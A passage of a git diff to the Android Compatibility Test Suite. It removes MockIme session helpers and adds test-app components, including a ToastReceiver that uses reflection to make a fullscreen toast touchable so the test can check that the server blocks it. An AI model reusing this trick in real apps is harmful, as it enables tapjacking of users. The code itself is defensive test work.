-                sb.append(new String(buffer, 0, numRead));
-            }
-            return sb.toString();
-        }
-    }
-
-    @Nullable
-    private String getCurrentInputMethodId() {
-        // TODO: Replace this with IMM#getCurrentInputMethodIdForTesting()
-        return Settings.Secure.getString(mContext.getContentResolver(),
-                Settings.Secure.DEFAULT_INPUT_METHOD);
-    }
-
-    @Nullable
-    private static void writeMockImeSettings(@NonNull Context context,
-            @NonNull String imeEventActionName,
-            @Nullable ImeSettings.Builder imeSettings) throws Exception {
-        final Bundle bundle = ImeSettings.serializeToBundle(imeEventActionName, imeSettings);
-        context.getContentResolver().call(SettingsProvider.AUTHORITY, "write", null, bundle);
-    }
-
-    private ComponentName getMockImeComponentName() {
-        return MockIme.getComponentName();
-    }
-
-    private String getMockImeId() {
-        return MockIme.getImeId();
-    }
-
-    private MockImeSession(@NonNull Context context, @NonNull UiAutomation uiAutomation) {
-        mContext = context;
-        mUiAutomation = uiAutomation;
-    }
-
-    private void initialize(@Nullable ImeSettings.Builder imeSettings) throws Exception {
-        // Make sure that MockIME is not selected.
-        if (mContext.getSystemService(InputMethodManager.class)
-                .getInputMethodList()
-                .stream()
-                .anyMatch(info -> getMockImeComponentName().equals(info.getComponent()))) {
-            executeShellCommand(mUiAutomation, "ime reset");
-        }
-        if (mContext.getSystemService(InputMethodManager.class)
-                .getEnabledInputMethodList()
-                .stream()
-                .anyMatch(info -> getMockImeComponentName().equals(info.getComponent()))) {
-            throw new IllegalStateException();
-        }
-
-        writeMockImeSettings(mContext, mImeEventActionName, imeSettings);
-
-        mHandlerThread.start();
-        mContext.registerReceiver(mEventReceiver,
-                new IntentFilter(mImeEventActionName), null /* broadcastPermission */,
-                new Handler(mHandlerThread.getLooper()));
-
-        executeShellCommand(mUiAutomation, "ime enable " + getMockImeId());
-        executeShellCommand(mUiAutomation, "ime set " + getMockImeId());
-
-        PollingCheck.check("Make sure that MockIME becomes available", TIMEOUT,
-                () -> getMockImeId().equals(getCurrentInputMethodId()));
-    }
-
-    /**
-     * Creates a new Mock IME session. During this session, you can receive various events from
-     * {@link MockIme}.
-     *
-     * @param context {@link Context} to be used to receive inter-process events from the
-     *                {@link MockIme} (e.g. via {@link BroadcastReceiver}
-     * @param uiAutomation {@link UiAutomation} object to change the device state that are typically
-     *                     guarded by permissions.
-     * @param imeSettings Key-value pairs to be passed to the {@link MockIme}.
-     * @return A session object, with which you can retrieve event logs from the {@link MockIme} and
-     *         can clean up the session.
-     */
-    @NonNull
-    public static MockImeSession create(
-            @NonNull Context context,
-            @NonNull UiAutomation uiAutomation,
-            @Nullable ImeSettings.Builder imeSettings) throws Exception {
-        final MockImeSession client = new MockImeSession(context, uiAutomation);
-        client.initialize(imeSettings);
-        return client;
-    }
-
-    /**
-     * @return {@link ImeEventStream} object that stores events sent from {@link MockIme} since the
-     *         session is created.
-     */
-    public ImeEventStream openEventStream() {
-        return mEventStream.copy();
-    }
-
-    /**
-     * Closes the active session and de-selects {@link MockIme}. Currently which IME will be
-     * selected next is up to the system.
-     */
-    public void close() throws Exception {
-        executeShellCommand(mUiAutomation, "ime reset");
-
-        PollingCheck.check("Make sure that MockIME becomes unavailable", TIMEOUT, () ->
-                mContext.getSystemService(InputMethodManager.class)
-                        .getEnabledInputMethodList()
-                        .stream()
-                        .noneMatch(info -> getMockImeComponentName().equals(info.getComponent())));
-
-        mContext.unregisterReceiver(mEventReceiver);
-        mHandlerThread.quitSafely();
-        mContext.getContentResolver().call(SettingsProvider.AUTHORITY, "delete", null, null);
-    }
-
-    /**
-     * Lets {@link MockIme} to call
-     * {@link android.view.inputmethod.InputConnection#commitText(CharSequence, int)} with the given
-     * parameters.
-     *
-     * <p>This triggers {@code getCurrentInputConnection().commitText(text, newCursorPosition)}.</p>
-     *
-     * @param text to be passed as the {@code text} parameter
-     * @param newCursorPosition to be passed as the {@code newCursorPosition} parameter
-     * @return {@link ImeCommand} object that can be passed to
-     *         {@link ImeEventStreamTestUtils#expectCommand(ImeEventStream, ImeCommand, long)} to
-     *         wait until this event is handled by {@link MockIme}
-     */
-    @NonNull
-    public ImeCommand callCommitText(@NonNull CharSequence text, int newCursorPosition) {
-        final Bundle params = new Bundle();
-        params.putCharSequence("text", text);
-        params.putInt("newCursorPosition", newCursorPosition);
-        final ImeCommand command = new ImeCommand(
-                "commitText", SystemClock.elapsedRealtimeNanos(), true, params);
-        final Intent intent = new Intent();
-        intent.setPackage(MockIme.getComponentName().getPackageName());
-        intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
-        intent.putExtras(command.toBundle());
-        mContext.sendBroadcast(intent);
-        return command;
-    }
-
-    @NonNull
-    public ImeCommand callSetBackDisposition(int backDisposition) {
-        final Bundle params = new Bundle();
-        params.putInt("backDisposition", backDisposition);
-        final ImeCommand command = new ImeCommand(
-                "setBackDisposition", SystemClock.elapsedRealtimeNanos(), true, params);
-        final Intent intent = new Intent();
-        intent.setPackage(MockIme.getComponentName().getPackageName());
-        intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
-        intent.putExtras(command.toBundle());
-        mContext.sendBroadcast(intent);
-        return command;
-    }
-
-    @NonNull
-    public ImeCommand callRequestHideSelf(int flags) {
-        final Bundle params = new Bundle();
-        params.putInt("flags", flags);
-        final ImeCommand command = new ImeCommand(
-                "requestHideSelf", SystemClock.elapsedRealtimeNanos(), true, params);
-        final Intent intent = new Intent();
-        intent.setPackage(MockIme.getComponentName().getPackageName());
-        intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
-        intent.putExtras(command.toBundle());
-        mContext.sendBroadcast(intent);
-        return command;
-    }
-
-    @NonNull
-    public ImeCommand callRequestShowSelf(int flags) {
-        final Bundle params = new Bundle();
-        params.putInt("flags", flags);
-        final ImeCommand command = new ImeCommand(
-                "requestShowSelf", SystemClock.elapsedRealtimeNanos(), true, params);
-        final Intent intent = new Intent();
-        intent.setPackage(MockIme.getComponentName().getPackageName());
-        intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
-        intent.putExtras(command.toBundle());
-        mContext.sendBroadcast(intent);
-        return command;
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java b/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java
deleted file mode 100644
index 8632c3b..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.mockime;
-
-import android.app.UiAutomation;
-import android.content.Context;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.test.InstrumentationRegistry;
-
-import com.android.cts.mockime.ImeSettings.Builder;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import static org.junit.Assume.assumeTrue;
-
-/**
- * Custom JUnit4 rule to automatically open and close a {@link MockImeSession}.
- */
-public final class MockImeSessionRule implements TestRule {
-
-    private static final String TAG = MockImeSessionRule.class.getSimpleName();
-    private final Context mContext;
-    private final Builder mImeSettings;
-    private final UiAutomation mUiAutomation;
-    private MockImeSession mMockImeSession;
-    private boolean mIgnoreInitException;
-    private Throwable mInitException;
-
-    public MockImeSessionRule() {
-        this(InstrumentationRegistry.getTargetContext(),
-                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-                new ImeSettings.Builder(), /* ignoreInitException= */ false);
-    }
-
-    public MockImeSessionRule(boolean ignoreInitException) {
-        this(InstrumentationRegistry.getTargetContext(),
-                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-                new ImeSettings.Builder(), ignoreInitException);
-    }
-
-    public MockImeSessionRule(@NonNull Context context, @NonNull UiAutomation uiAutomation,
-            @NonNull ImeSettings.Builder imeSettings, boolean ignoreInitException) {
-        mContext = context;
-        mUiAutomation = uiAutomation;
-        mImeSettings = imeSettings;
-        mIgnoreInitException = ignoreInitException;
-    }
-
-    @Override
-    public Statement apply(@NonNull Statement base, @NonNull Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                if (Log.isLoggable(TAG, Log.VERBOSE)) {
-                    Log.v(TAG, "Creating MockImeSession on " + description.getDisplayName());
-                }
-                try {
-                    mMockImeSession = MockImeSession.create(mContext, mUiAutomation, mImeSettings);
-                } catch (Throwable t) {
-                    Log.e(TAG, "Error creating MockImeSession", t);
-                    if (mIgnoreInitException) {
-                        mInitException = t;
-                    } else {
-                        throw t;
-                    }
-                }
-                try {
-                    base.evaluate();
-                } finally {
-                    if (mMockImeSession != null) {
-                        if (Log.isLoggable(TAG, Log.VERBOSE)) {
-                            Log.v(TAG, "Closing MockImeSession on " + description.getDisplayName());
-                        }
-                        mMockImeSession.close();
-                    }
-                }
-            }
-        };
-    }
-
-    @Nullable
-    public MockImeSession getMockImeSession() {
-        return mMockImeSession;
-    }
-
-    @Nullable
-    public Throwable getInitException() {
-        return mInitException;
-    }
-
-    public void assumeAvailable() {
-        if (mInitException == null) return;
-        assumeTrue("Exception setting MockingIme: " + mInitException, mInitException == null);
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java b/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java
deleted file mode 100644
index d9a565b..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Bundle;
-
-import androidx.annotation.Nullable;
-
-/**
- * {@link ContentProvider} to receive {@link ImeSettings} via
- * {@link ContentProvider#call(String, String, String, Bundle)}.
- */
-public class SettingsProvider extends ContentProvider {
-
-    static final Uri AUTHORITY = Uri.parse("content://com.android.cts.mockime.provider");
-
-    @Nullable
-    private static ImeSettings sSettings = null;
-
-    @Override
-    public boolean onCreate() {
-        return true;
-    }
-
-    @Override
-    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
-            String sortOrder) {
-        return null;
-    }
-
-    @Override
-    public String getType(Uri uri) {
-        return null;
-    }
-
-    @Override
-    public Uri insert(Uri uri, ContentValues values) {
-        return null;
-    }
-
-    @Override
-    public int delete(Uri uri, String selection, String[] selectionArgs) {
-        return 0;
-    }
-
-    @Override
-    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
-        return 0;
-    }
-
-    @Override
-    public Bundle call(String method, String arg, Bundle extras) {
-        if ("write".equals(method)) {
-            sSettings = null;
-            final String callingPackageName = getCallingPackage();
-            if (callingPackageName == null) {
-                throw new SecurityException("Failed to obtain the calling package name.");
-            }
-            sSettings = new ImeSettings(callingPackageName, extras);
-        } else if ("delete".equals(method)) {
-            sSettings = null;
-        }
-        return Bundle.EMPTY;
-    }
-
-    static ImeSettings getSettings() {
-        return sSettings;
-    }
-}
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index 9b6ab65..8e0bfa0 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -17,11 +17,6 @@
 <configuration description="Config for CTS Backup test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="backup" />
-    
-    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
-        <option name="user-type" value="system" />
-    </target_preparer>
-
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFullBackupApp.apk" />
diff --git a/tests/camera/AndroidTest.xml b/tests/camera/AndroidTest.xml
index b2b6695..2a2cdc9 100644
--- a/tests/camera/AndroidTest.xml
+++ b/tests/camera/AndroidTest.xml
@@ -23,7 +23,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.camera.cts" />
         <option name="runtime-hint" value="12m7s" />
-        <!-- test-timeout unit is ms, value = 300 min -->
-        <option name="test-timeout" value="18000000" />
+        <!-- test-timeout unit is ms, value = 200 min -->
+        <option name="test-timeout" value="12000000" />
     </test>
 </configuration>
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 84a22d7..955cfa2 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -1378,12 +1378,13 @@
             Size[] jpegSizes = sm.getJpegOutputSizesChecked();
             Size[] rawSizes = sm.getRawOutputSizesChecked();
 
+            Size maxPreviewSize = getMaxPreviewSize(context, cameraId);
+
             maxRawSize = (rawSizes.length != 0) ? CameraTestUtils.getMaxSize(rawSizes) : null;
 
             StreamConfigurationMap configs = sm.getCharacteristics().get(
                     CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             if (sm.isColorOutputSupported()) {
-                Size maxPreviewSize = getMaxPreviewSize(context, cameraId);
                 maxPrivSizes[PREVIEW] = getMaxSize(privSizes, maxPreviewSize);
                 maxYuvSizes[PREVIEW]  = getMaxSize(yuvSizes, maxPreviewSize);
                 maxJpegSizes[PREVIEW] = getMaxSize(jpegSizes, maxPreviewSize);
diff --git a/tests/framework/base/activitymanager/app/AndroidManifest.xml b/tests/framework/base/activitymanager/app/AndroidManifest.xml
index b445091..58a30a0 100755
--- a/tests/framework/base/activitymanager/app/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/app/AndroidManifest.xml
@@ -415,6 +415,13 @@
                <action android:name="android.service.vr.VrListenerService" />
            </intent-filter>
         </service>
+
+        <receiver
+            android:name=".ToastReceiver"
+            android:exported="true" />
+        <activity
+            android:name=".PresentationActivity"
+            android:exported="true" />
     </application>
 </manifest>
 
diff --git a/tests/framework/base/activitymanager/app/res/layout/toast.xml b/tests/framework/base/activitymanager/app/res/layout/toast.xml
new file mode 100644
index 0000000..3663ab6
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/res/layout/toast.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="#FFFFFFFF"
+    >
+
+  <TextView
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_centerInParent="true"
+      android:text="I'm a fullscreen toast!" />
+
+</RelativeLayout>
\ No newline at end of file
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/Components.java b/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
index a02fe85..6142491 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
@@ -68,6 +68,7 @@
     public static final ComponentName NO_HISTORY_ACTIVITY = component("NoHistoryActivity");
     public static final ComponentName NO_RELAUNCH_ACTIVITY = component("NoRelaunchActivity");
     public static final ComponentName NON_RESIZEABLE_ACTIVITY = component("NonResizeableActivity");
+    public static final ComponentName PRESENTATION_ACTIVITY = component("PresentationActivity");
     public static final ComponentName PIP_ACTIVITY = component("PipActivity");
     public static final ComponentName PIP_ACTIVITY2 = component("PipActivity2");
     public static final ComponentName PIP_ACTIVITY_WITH_SAME_AFFINITY =
@@ -149,8 +150,11 @@
         // Finishes the activity
         public static final String TEST_ACTIVITY_ACTION_FINISH_SELF =
                 "android.server.am.TestActivity.finish_self";
+        public static final String TEST_ACTIVITY_ACTION_START_ACTIVITIES =
+                "android.server.am.TestActivity.start_activities";
         // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
         public static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+        public static final String EXTRA_INTENTS = "intents";
     }
 
     /**
@@ -328,12 +332,17 @@
         public static final String KEY_LAUNCH_TARGET_COMPONENT = "launch_target_component";
         public static final String KEY_PUBLIC_DISPLAY = "public_display";
         public static final String KEY_RESIZE_DISPLAY = "resize_display";
+        public static final String KEY_PRESENTATION_DISPLAY = "presentation_display";
         // Value constants of {@link #KEY_COMMAND}.
         public static final String COMMAND_CREATE_DISPLAY = "create_display";
         public static final String COMMAND_DESTROY_DISPLAY = "destroy_display";
         public static final String COMMAND_RESIZE_DISPLAY = "resize_display";
     }
 
+    public static class PresentationActivity {
+        public static final String KEY_DISPLAY_ID = "display_id";
+    }
+
     private static ComponentName component(String className) {
         return component(Components.class, className);
     }
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PresentationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PresentationActivity.java
new file mode 100644
index 0000000..0036aaf
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PresentationActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.Presentation;
+import android.graphics.Color;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.Display;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+public class PresentationActivity extends Activity {
+
+    private static final String TAG = PresentationActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        int displayId = getIntent().getExtras().getInt(
+                Components.PresentationActivity.KEY_DISPLAY_ID);
+
+        Display presentationDisplay =
+                getSystemService(DisplayManager.class).getDisplay(displayId);
+
+        createPresentationWindow(presentationDisplay);
+    }
+
+    private void createPresentationWindow(Display display) {
+        final TextView view = new TextView(this);
+        view.setText("I'm a presentation");
+        view.setGravity(Gravity.CENTER);
+        view.setBackgroundColor(Color.RED);
+
+        final Presentation presentation = new Presentation(this, display);
+        presentation.setContentView(view);
+        presentation.setTitle(getPackageName());
+        try {
+            presentation.show();
+        } catch (WindowManager.InvalidDisplayException e) {
+            Log.w(TAG, "Presentation blocked", e);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ToastReceiver.java b/tests/framework/base/activitymanager/app/src/android/server/am/ToastReceiver.java
new file mode 100644
index 0000000..3d6831f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ToastReceiver.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.view.Gravity;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Field;
+
+public class ToastReceiver extends BroadcastReceiver {
+    public static final String ACTION_TOAST_DISPLAYED = "toast_displayed";
+    public static final String ACTION_TOAST_TAP_DETECTED = "toast_tap_detected";
+    private static final int DETECT_TOAST_TIMEOUT_MS = 15000;
+    private static final int DETECT_TOAST_POOLING_INTERVAL_MS = 200;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Handler handler = new Handler();
+        Toast toast = getToast(context);
+        long deadline = SystemClock.uptimeMillis() + DETECT_TOAST_TIMEOUT_MS;
+        handler.post(
+                new DetectToastRunnable(
+                        context.getApplicationContext(), toast.getView(), deadline, handler));
+        toast.show();
+    }
+
+    private Toast getToast(Context context) {
+        Context applicationContext = context.getApplicationContext();
+        View view = LayoutInflater.from(context).inflate(R.layout.toast, null);
+        view.setOnTouchListener((v, event) -> {
+            applicationContext.sendBroadcast(new Intent(ACTION_TOAST_TAP_DETECTED));
+            return false;
+        });
+        Toast toast = getClickableToast(context);
+        toast.setView(view);
+        toast.setGravity(Gravity.FILL_HORIZONTAL | Gravity.FILL_VERTICAL, 0, 0);
+        toast.setDuration(Toast.LENGTH_LONG);
+        return toast;
+    }
+
+    /**
+     * Purposely creating a toast without FLAG_NOT_TOUCHABLE in the client-side (via reflection) to
+     * test enforcement on the server-side.
+     */
+    private Toast getClickableToast(Context context) {
+        try {
+            Toast toast = new Toast(context);
+            Field tnField = Toast.class.getDeclaredField("mTN");
+            tnField.setAccessible(true);
+            Object tnObject = tnField.get(toast);
+            Field paramsField = Class.forName(
+                    Toast.class.getCanonicalName() + "$TN").getDeclaredField("mParams");
+            paramsField.setAccessible(true);
+            LayoutParams params = (LayoutParams) paramsField.get(tnObject);
+            params.flags = LayoutParams.FLAG_KEEP_SCREEN_ON | LayoutParams.FLAG_NOT_FOCUSABLE;
+            return toast;
+        } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
+            throw new IllegalStateException("Toast reflection failed", e);
+        }
+    }
+
+    private static class DetectToastRunnable implements Runnable {
+        private final Context mContext;
+        private final WeakReference<View> mToastViewRef;
+        private final long mDeadline;
+        private final Handler mHandler;
+
+        private DetectToastRunnable(
+                Context applicationContext, View toastView, long deadline, Handler handler) {
+            mContext = applicationContext;
+            mToastViewRef = new WeakReference<>(toastView);
+            mDeadline = deadline;
+            mHandler = handler;
+        }
+
+        @Override
+        public void run() {
+            View toastView = mToastViewRef.get();
+            if (SystemClock.uptimeMillis() > mDeadline || toastView == null) {
+                return;
+            }
+            if (toastView.getParent() != null) {
+                mContext.sendBroadcast(new Intent(ACTION_TOAST_DISPLAYED));
+                return;
+            }
+            mHandler.postDelayed(this, DETECT_TOAST_POOLING_INTERVAL_MS);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
index 8b1cdb1..2d02733 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
@@ -17,6 +17,7 @@
 package android.server.am;
 
 import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
 import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
 import static android.server.am.ActivityLauncher.KEY_DISPLAY_ID;
 import static android.server.am.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
@@ -30,6 +31,7 @@
 import static android.server.am.Components.VirtualDisplayActivity.KEY_COUNT;
 import static android.server.am.Components.VirtualDisplayActivity.KEY_DENSITY_DPI;
 import static android.server.am.Components.VirtualDisplayActivity.KEY_LAUNCH_TARGET_COMPONENT;
+import static android.server.am.Components.VirtualDisplayActivity.KEY_PRESENTATION_DISPLAY;
 import static android.server.am.Components.VirtualDisplayActivity.KEY_PUBLIC_DISPLAY;
 import static android.server.am.Components.VirtualDisplayActivity.KEY_RESIZE_DISPLAY;
 import static android.server.am.Components.VirtualDisplayActivity.VIRTUAL_DISPLAY_PREFIX;
@@ -185,6 +187,11 @@
             flags |= VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
         }
 
+        final boolean presentationDisplay = entry.extras.getBoolean(KEY_PRESENTATION_DISPLAY);
+        if (presentationDisplay) {
+            flags |= VIRTUAL_DISPLAY_FLAG_PRESENTATION;
+        }
+
         Log.d(TAG, "createVirtualDisplay: " + width + "x" + height + ", dpi: "
                 + densityDpi + ", canShowWithInsecureKeyguard=" + canShowWithInsecureKeyguard
                 + ", publicDisplay=" + publicDisplay);
diff --git a/tests/framework/base/activitymanager/app_base/src/android/server/am/TestActivity.java b/tests/framework/base/activitymanager/app_base/src/android/server/am/TestActivity.java
index 1dbc81d..15fcf57 100644
--- a/tests/framework/base/activitymanager/app_base/src/android/server/am/TestActivity.java
+++ b/tests/framework/base/activitymanager/app_base/src/android/server/am/TestActivity.java
@@ -16,8 +16,10 @@
 
 package android.server.am;
 
-import static android.server.am.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
 import static android.server.am.Components.TestActivity.EXTRA_FIXED_ORIENTATION;
+import static android.server.am.Components.TestActivity.EXTRA_INTENTS;
+import static android.server.am.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
+import static android.server.am.Components.TestActivity.TEST_ACTIVITY_ACTION_START_ACTIVITIES;
 
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -25,14 +27,21 @@
 import android.content.IntentFilter;
 import android.content.res.Configuration;
 import android.os.Bundle;
+import android.os.Parcelable;
+
+import java.util.Arrays;
 
 public class TestActivity extends AbstractLifecycleLogActivity {
 
     private BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
-            if (intent != null && TEST_ACTIVITY_ACTION_FINISH_SELF.equals(intent.getAction())) {
+            final String action = intent.getAction();
+            if (TEST_ACTIVITY_ACTION_FINISH_SELF.equals(action)) {
                 finish();
+            } else if (TEST_ACTIVITY_ACTION_START_ACTIVITIES.equals(action)) {
+                final Parcelable[] intents = intent.getParcelableArrayExtra(EXTRA_INTENTS);
+                startActivities(Arrays.copyOf(intents, intents.length, Intent[].class));
             }
         }
     };
@@ -51,7 +60,10 @@
     @Override
     protected void onStart() {
         super.onStart();
-        registerReceiver(mReceiver, new IntentFilter(TEST_ACTIVITY_ACTION_FINISH_SELF));
+        final IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
+        intentFilter.addAction(TEST_ACTIVITY_ACTION_START_ACTIVITIES);
+        registerReceiver(mReceiver, intentFilter);
     }
 
     @Override
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index 87d71b4..09eae84 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -50,6 +50,7 @@
 import static android.server.am.Components.TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY;
 import static android.server.am.Components.TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY;
 import static android.server.am.UiDeviceUtils.pressBackButton;
+import static android.server.am.VirtualDisplayHelper.waitForDefaultDisplayState;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -176,9 +177,6 @@
     @Presubmit
     @Test
     public void testTurnScreenOnActivity() throws Exception {
-        if (!supportsSecureLock()) {
-            return;
-        }
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.sleepDevice();
             launchActivity(TURN_SCREEN_ON_ACTIVITY);
@@ -241,8 +239,6 @@
         // Launch a different activity on top.
         launchActivity(BROADCAST_RECEIVER_ACTIVITY);
         mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
-        // Wait for transition complete.
-        mAmWmState.waitForValidState(MOVE_TASK_TO_BACK_ACTIVITY);
         final boolean shouldBeVisible =
                 !mAmWmState.getAmState().isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
         mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, shouldBeVisible);
@@ -369,9 +365,6 @@
 
     @Test
     public void testTurnScreenOnAttrNoLockScreen() throws Exception {
